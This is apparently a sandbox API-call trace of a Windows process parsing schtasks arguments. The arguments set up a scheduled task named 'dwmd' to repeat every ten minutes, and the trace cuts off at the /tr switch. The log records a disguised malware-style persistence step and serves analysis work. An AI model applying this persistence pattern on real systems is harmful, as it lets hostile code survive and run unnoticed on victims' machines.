[0105.115] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.115] lstrlenW (lpString="tn") returned 2 [0105.115] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.115] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|?|") returned 3 [0105.115] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tn|") returned 4 [0105.115] lstrlenW (lpString="|?|") returned 3 [0105.115] lstrlenW (lpString="|tn|") returned 4 [0105.115] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.115] lstrlenW (lpString="create") returned 6 [0105.115] lstrlenW (lpString="create") returned 6 [0105.115] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.115] lstrlenW (lpString="tn") returned 2 [0105.115] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.115] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|create|") returned 8 [0105.115] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tn|") returned 4 [0105.115] lstrlenW (lpString="|create|") returned 8 [0105.115] lstrlenW (lpString="|tn|") returned 4 [0105.115] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0105.115] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.115] lstrlenW (lpString="delete") returned 6 [0105.115] lstrlenW (lpString="delete") returned 6 [0105.116] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.116] lstrlenW (lpString="tn") returned 2 [0105.116] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.116] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|delete|") returned 8 [0105.116] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tn|") returned 4 [0105.116] lstrlenW (lpString="|delete|") returned 8 [0105.116] lstrlenW (lpString="|tn|") returned 4 [0105.116] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0105.116] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.116] lstrlenW (lpString="query") returned 5 [0105.116] lstrlenW (lpString="query") returned 5 [0105.116] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.116] lstrlenW (lpString="tn") returned 2 [0105.116] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.116] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|query|") returned 7 [0105.116] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tn|") returned 4 [0105.116] lstrlenW (lpString="|query|") returned 7 [0105.116] lstrlenW (lpString="|tn|") returned 4 [0105.116] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0105.116] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.116] lstrlenW (lpString="change") returned 6 [0105.116] lstrlenW (lpString="change") returned 6 [0105.116] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.116] lstrlenW (lpString="tn") returned 2 [0105.116] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.116] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|change|") returned 8 [0105.117] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tn|") returned 4 [0105.117] lstrlenW (lpString="|change|") returned 8 [0105.117] lstrlenW (lpString="|tn|") returned 4 [0105.117] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0105.117] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.117] lstrlenW (lpString="run") returned 3 [0105.117] lstrlenW (lpString="run") returned 3 [0105.117] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.117] lstrlenW (lpString="tn") returned 2 [0105.117] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.117] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|run|") returned 5 [0105.117] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tn|") returned 4 [0105.117] lstrlenW (lpString="|run|") returned 5 [0105.117] lstrlenW (lpString="|tn|") returned 4 [0105.117] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0105.117] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.117] lstrlenW (lpString="end") returned 3 [0105.117] lstrlenW (lpString="end") returned 3 [0105.117] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.117] lstrlenW (lpString="tn") returned 2 [0105.117] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.117] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|end|") returned 5 [0105.117] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tn|") returned 4 [0105.117] lstrlenW (lpString="|end|") returned 5 [0105.117] lstrlenW (lpString="|tn|") returned 4 [0105.117] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0105.117] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.117] lstrlenW (lpString="showsid") returned 7 [0105.118] lstrlenW (lpString="showsid") returned 7 [0105.118] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.118] GetProcessHeap () returned 0x2008f450000 [0105.118] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f453920) returned 1 [0105.118] GetProcessHeap () returned 0x2008f450000 [0105.118] RtlReAllocateHeap (Heap=0x2008f450000, Flags=0xc, Ptr=0x2008f453920, Size=0x16) returned 0x2008f453920 [0105.118] lstrlenW (lpString="tn") returned 2 [0105.118] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.118] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|showsid|") returned 9 [0105.118] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tn|") returned 4 [0105.118] lstrlenW (lpString="|showsid|") returned 9 [0105.118] lstrlenW (lpString="|tn|") returned 4 [0105.118] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0105.118] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.118] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.118] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.118] lstrlenW (lpString="/tn") returned 3 [0105.118] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0105.118] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.118] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.118] lstrlenW (lpString="/tn") returned 3 [0105.118] GetProcessHeap () returned 0x2008f450000 [0105.118] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x8) returned 0x2008f4538c0 [0105.118] GetProcessHeap () returned 0x2008f450000 [0105.118] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b8a0 [0105.118] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.118] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.118] lstrlenW (lpString="dwmd") returned 4 [0105.118] lstrlenW (lpString="-/") returned 2 [0105.118] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0105.119] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.119] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.119] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.119] lstrlenW (lpString="dwmd") returned 4 [0105.119] StrChrIW (lpStart="dwmd", wMatch=0x3a) returned 0x0 [0105.119] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.119] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.119] lstrlenW (lpString="dwmd") returned 4 [0105.119] GetProcessHeap () returned 0x2008f450000 [0105.119] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xa) returned 0x2008f453950 [0105.119] GetProcessHeap () returned 0x2008f450000 [0105.119] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45bae0 [0105.119] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.119] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.119] lstrlenW (lpString="/sc") returned 3 [0105.119] lstrlenW (lpString="-/") returned 2 [0105.119] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.119] lstrlenW (lpString="?") returned 1 [0105.119] lstrlenW (lpString="?") returned 1 [0105.119] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.119] lstrlenW (lpString="sc") returned 2 [0105.119] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.119] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|?|") returned 3 [0105.119] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|sc|") returned 4 [0105.119] lstrlenW (lpString="|?|") returned 3 [0105.119] lstrlenW (lpString="|sc|") returned 4 [0105.119] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.119] lstrlenW (lpString="create") returned 6 [0105.119] lstrlenW (lpString="create") returned 6 [0105.120] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.120] lstrlenW (lpString="sc") returned 2 [0105.120] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.120] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|create|") returned 8 [0105.120] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|sc|") returned 4 [0105.120] lstrlenW (lpString="|create|") returned 8 [0105.120] lstrlenW (lpString="|sc|") returned 4 [0105.120] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0105.120] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.120] lstrlenW (lpString="delete") returned 6 [0105.120] lstrlenW (lpString="delete") returned 6 [0105.120] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.120] lstrlenW (lpString="sc") returned 2 [0105.120] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.120] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|delete|") returned 8 [0105.120] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|sc|") returned 4 [0105.120] lstrlenW (lpString="|delete|") returned 8 [0105.120] lstrlenW (lpString="|sc|") returned 4 [0105.120] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0105.120] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.120] lstrlenW (lpString="query") returned 5 [0105.120] lstrlenW (lpString="query") returned 5 [0105.120] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.120] lstrlenW (lpString="sc") returned 2 [0105.120] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.120] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|query|") returned 7 [0105.121] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|sc|") returned 4 [0105.121] lstrlenW (lpString="|query|") returned 7 [0105.121] lstrlenW (lpString="|sc|") returned 4 [0105.121] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0105.121] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.121] lstrlenW (lpString="change") returned 6 [0105.121] lstrlenW (lpString="change") returned 6 [0105.121] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.121] lstrlenW (lpString="sc") returned 2 [0105.121] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.121] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|change|") returned 8 [0105.121] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|sc|") returned 4 [0105.121] lstrlenW (lpString="|change|") returned 8 [0105.121] lstrlenW (lpString="|sc|") returned 4 [0105.121] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0105.121] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.121] lstrlenW (lpString="run") returned 3 [0105.121] lstrlenW (lpString="run") returned 3 [0105.121] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.121] lstrlenW (lpString="sc") returned 2 [0105.121] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.121] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|run|") returned 5 [0105.121] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|sc|") returned 4 [0105.121] lstrlenW (lpString="|run|") returned 5 [0105.121] lstrlenW (lpString="|sc|") returned 4 [0105.121] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0105.121] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.122] lstrlenW (lpString="end") returned 3 [0105.122] lstrlenW (lpString="end") returned 3 [0105.122] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.122] lstrlenW (lpString="sc") returned 2 [0105.122] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.122] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|end|") returned 5 [0105.122] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|sc|") returned 4 [0105.122] lstrlenW (lpString="|end|") returned 5 [0105.122] lstrlenW (lpString="|sc|") returned 4 [0105.122] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0105.122] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.122] lstrlenW (lpString="showsid") returned 7 [0105.122] lstrlenW (lpString="showsid") returned 7 [0105.122] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.122] lstrlenW (lpString="sc") returned 2 [0105.122] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.122] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|showsid|") returned 9 [0105.122] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|sc|") returned 4 [0105.122] lstrlenW (lpString="|showsid|") returned 9 [0105.122] lstrlenW (lpString="|sc|") returned 4 [0105.122] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0105.122] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.122] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.122] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.122] lstrlenW (lpString="/sc") returned 3 [0105.122] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0105.122] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.122] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.123] lstrlenW (lpString="/sc") returned 3 [0105.123] GetProcessHeap () returned 0x2008f450000 [0105.123] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x8) returned 0x2008f454270 [0105.123] GetProcessHeap () returned 0x2008f450000 [0105.123] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b630 [0105.123] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.123] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.123] lstrlenW (lpString="MINUTE") returned 6 [0105.123] lstrlenW (lpString="-/") returned 2 [0105.123] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0105.123] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.123] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.123] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.123] lstrlenW (lpString="MINUTE") returned 6 [0105.123] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0105.123] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.123] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.123] lstrlenW (lpString="MINUTE") returned 6 [0105.124] GetProcessHeap () returned 0x2008f450000 [0105.124] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xe) returned 0x2008f454290 [0105.124] GetProcessHeap () returned 0x2008f450000 [0105.124] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b660 [0105.124] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.124] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.124] lstrlenW (lpString="/mo") returned 3 [0105.124] lstrlenW (lpString="-/") returned 2 [0105.124] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.124] lstrlenW (lpString="?") returned 1 [0105.124] lstrlenW (lpString="?") returned 1 [0105.124] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.126] lstrlenW (lpString="mo") returned 2 [0105.126] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.126] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|?|") returned 3 [0105.126] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|mo|") returned 4 [0105.126] lstrlenW (lpString="|?|") returned 3 [0105.126] lstrlenW (lpString="|mo|") returned 4 [0105.126] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.126] lstrlenW (lpString="create") returned 6 [0105.126] lstrlenW (lpString="create") returned 6 [0105.126] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.127] lstrlenW (lpString="mo") returned 2 [0105.127] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.127] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|create|") returned 8 [0105.127] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|mo|") returned 4 [0105.127] lstrlenW (lpString="|create|") returned 8 [0105.127] lstrlenW (lpString="|mo|") returned 4 [0105.127] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0105.127] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.127] lstrlenW (lpString="delete") returned 6 [0105.127] lstrlenW (lpString="delete") returned 6 [0105.127] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.127] lstrlenW (lpString="mo") returned 2 [0105.127] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.127] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|delete|") returned 8 [0105.127] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|mo|") returned 4 [0105.127] lstrlenW (lpString="|delete|") returned 8 [0105.127] lstrlenW (lpString="|mo|") returned 4 [0105.127] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0105.127] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.127] lstrlenW (lpString="query") returned 5 [0105.127] lstrlenW (lpString="query") returned 5 [0105.127] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.127] lstrlenW (lpString="mo") returned 2 [0105.127] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.128] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|query|") returned 7 [0105.128] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|mo|") returned 4 [0105.128] lstrlenW (lpString="|query|") returned 7 [0105.128] lstrlenW (lpString="|mo|") returned 4 [0105.128] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0105.128] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.128] lstrlenW (lpString="change") returned 6 [0105.128] lstrlenW (lpString="change") returned 6 [0105.128] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.128] lstrlenW (lpString="mo") returned 2 [0105.128] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.128] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|change|") returned 8 [0105.128] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|mo|") returned 4 [0105.128] lstrlenW (lpString="|change|") returned 8 [0105.128] lstrlenW (lpString="|mo|") returned 4 [0105.128] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0105.128] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.128] lstrlenW (lpString="run") returned 3 [0105.128] lstrlenW (lpString="run") returned 3 [0105.128] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.128] lstrlenW (lpString="mo") returned 2 [0105.128] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.128] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|run|") returned 5 [0105.128] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|mo|") returned 4 [0105.128] lstrlenW (lpString="|run|") returned 5 [0105.128] lstrlenW (lpString="|mo|") returned 4 [0105.128] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0105.129] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.129] lstrlenW (lpString="end") returned 3 [0105.129] lstrlenW (lpString="end") returned 3 [0105.129] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.129] lstrlenW (lpString="mo") returned 2 [0105.129] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.129] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|end|") returned 5 [0105.129] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|mo|") returned 4 [0105.129] lstrlenW (lpString="|end|") returned 5 [0105.129] lstrlenW (lpString="|mo|") returned 4 [0105.129] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0105.129] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.129] lstrlenW (lpString="showsid") returned 7 [0105.129] lstrlenW (lpString="showsid") returned 7 [0105.129] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.129] lstrlenW (lpString="mo") returned 2 [0105.129] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.129] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|showsid|") returned 9 [0105.129] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|mo|") returned 4 [0105.129] lstrlenW (lpString="|showsid|") returned 9 [0105.129] lstrlenW (lpString="|mo|") returned 4 [0105.129] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0105.129] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.129] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.129] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.129] lstrlenW (lpString="/mo") returned 3 [0105.129] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0105.129] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.130] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.130] lstrlenW (lpString="/mo") returned 3 [0105.130] GetProcessHeap () returned 0x2008f450000 [0105.130] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x8) returned 0x2008f4542b0 [0105.130] GetProcessHeap () returned 0x2008f450000 [0105.130] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b420 [0105.130] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.130] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.130] lstrlenW (lpString="10") returned 2 [0105.130] lstrlenW (lpString="-/") returned 2 [0105.130] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0105.130] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.130] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.130] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.130] lstrlenW (lpString="10") returned 2 [0105.130] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0105.130] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.130] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.130] lstrlenW (lpString="10") returned 2 [0105.130] GetProcessHeap () returned 0x2008f450000 [0105.130] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x6) returned 0x2008f4542d0 [0105.130] GetProcessHeap () returned 0x2008f450000 [0105.130] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b6f0 [0105.130] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.130] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.130] lstrlenW (lpString="/tr") returned 3 [0105.130] lstrlenW (lpString="-/") returned 2 [0105.130] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.130] 